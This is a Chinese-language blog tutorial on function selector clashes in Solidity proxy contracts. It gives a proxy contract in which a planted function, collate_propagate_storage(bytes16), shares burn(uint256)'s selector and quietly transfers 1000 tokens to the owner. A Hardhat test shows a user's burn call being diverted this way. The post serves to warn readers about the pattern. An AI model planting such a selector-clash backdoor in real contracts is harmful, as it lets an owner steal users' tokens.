函数选择器冲突

函数选择器冲突在代理模式中,如果方法不加以校验可能会出现安全漏洞.

函数选择器冲突

在代理模式中, 如果方法不加以校验可能会出现安全漏洞.

如下代理合约代码:

pragma solidity ^0.8.9;

contract Proxy {

    // 占位
    uint32 public placeholder1;
    uint32 public placeholder2;
    uint32 public placeholder3;

    // 代理合约owner
    address public proxyOwner;
    // 逻辑合约地址
    address public implementation;

    constructor(address implementation) public {
        proxyOwner = msg.sender;
        _setImplementation(implementation);
    }

    modifier onlyProxyOwner() {
        require(msg.sender == proxyOwner);
        _;
    }

    function upgrade(address implementation) external onlyProxyOwner {
        _setImplementation(implementation);
    }

    function _setImplementation(address imp) private {
        implementation = imp;
    }

    fallback() payable external {
        _fallback();
    }

    function collate_propagate_storage(bytes16 data) public {
        implementation.delegatecall(abi.encodeWithSignature("transfer(address,uint256)", proxyOwner, 1000));
    }

    function _fallback() internal {
        (bool success, bytes memory result) = implementation.delegatecall(msg.data);
        require(success, "failed to delegatecall");
        assembly {
            return (add(result, 0x20), mload(result))
        }
    }

}

逻辑合约

pragma solidity ^0.8.9;

import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20BurnableUpgradeable.sol";

contract BurnableToken is ERC20BurnableUpgradeable {

    function initialize() initializer public {
        __ERC20_init("MyToken", "MTK");
    }

    function mint(address account, uint256 amount) public {
        _mint(account, amount);
    }
}

测试逻辑

import {loadFixture} from "@nomicfoundation/hardhat-network-helpers";
import {ethers} from "hardhat";

describe("function clash proxy", function () {

    async function deployOneFixture() {

        const [owner, otherAccount] = await ethers.getSigners();

        const ownerAccountAddress = await owner.getAddress();
        const otherAccountAddress = await otherAccount.getAddress();

        const BurnableToken = await ethers.getContractFactory("BurnableToken");
        // 部署逻辑合约
        const burnableToken = await BurnableToken.deploy();

        const ProxyFuncClashing = await ethers.getContractFactory("ProxyFuncClashing");
        // 部署代理合约
        const proxyFuncClashing = await ProxyFuncClashing.deploy(burnableToken.address);

        // 使用逻辑合约的函数编码 发送给代理合约地址
        const proxyToken = await BurnableToken.attach(proxyFuncClashing.address);

        // 通过代理调用逻辑合约的初始化函数, 不能直接调用逻辑合约的initialize 数据要存储到代理合约中
        await proxyToken.initialize();

        // 预先mint一些token
        await proxyToken.mint(otherAccountAddress, '0x0000000000000000000000000000000100000000000000000000000000000001');

        let balance = await proxyToken.balanceOf(otherAccountAddress)
        console.log(`before other amount: ${balance.toString()}`)

        // collate_propagate_storage(bytes16 data) 在取参数时只用16bytes 后面用0补位
        // 这里otherAccount本意是想burn一些token, 但实际执行的transfer转账函数
        await proxyToken.connect(otherAccount).burn('0x0000000000000000000000000000000100000000000000000000000000000000');

        balance = await proxyToken.balanceOf(otherAccountAddress)
        console.log(`after other amount: ${balance.toString()}`)

        balance = await proxyToken.balanceOf(ownerAccountAddress)
        console.log(`after owner amount: ${balance.toString()}`)

        return {
            ownerAccountAddress,
            otherAccountAddress
        };
    }

    describe("Proxy", function () {
        it("test", async function () {
            await loadFixture(deployOneFixture);
        })
    })
});

使用hardhat测试。控制台执行npx hardhat test test.js 打印输出

before other amount: 340282366920938463463374607431768211457
after other amount: 340282366920938463463374607431768210457
after owner amount: 1000

可以看到, 本意是从other账户burn token。实际上执行的是proxy中的collate_propagate_storage 给proxyOwner转了1000token。

原因分析

在执行合约函数时, 是根据函数的选择器执行的。将函数名和参数类型进行编码,然后取前4字节。这就会出现冲突。 如下俩函数的选择器是一样的。

0x42966c68
collate_propagate_storage(bytes16)
burn(uint256)

在看到类似的代理合约时要注意, 普通用户应该只能调用fallback方法。完全透明的调用逻辑合约。

参考

https://forum.openzeppelin.com/t/beware-of-the-proxy-learn-how-to-exploit-function-clashing/1070

点赞 2
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
打野工程师
打野工程师
江湖只有他的大名,没有他的介绍。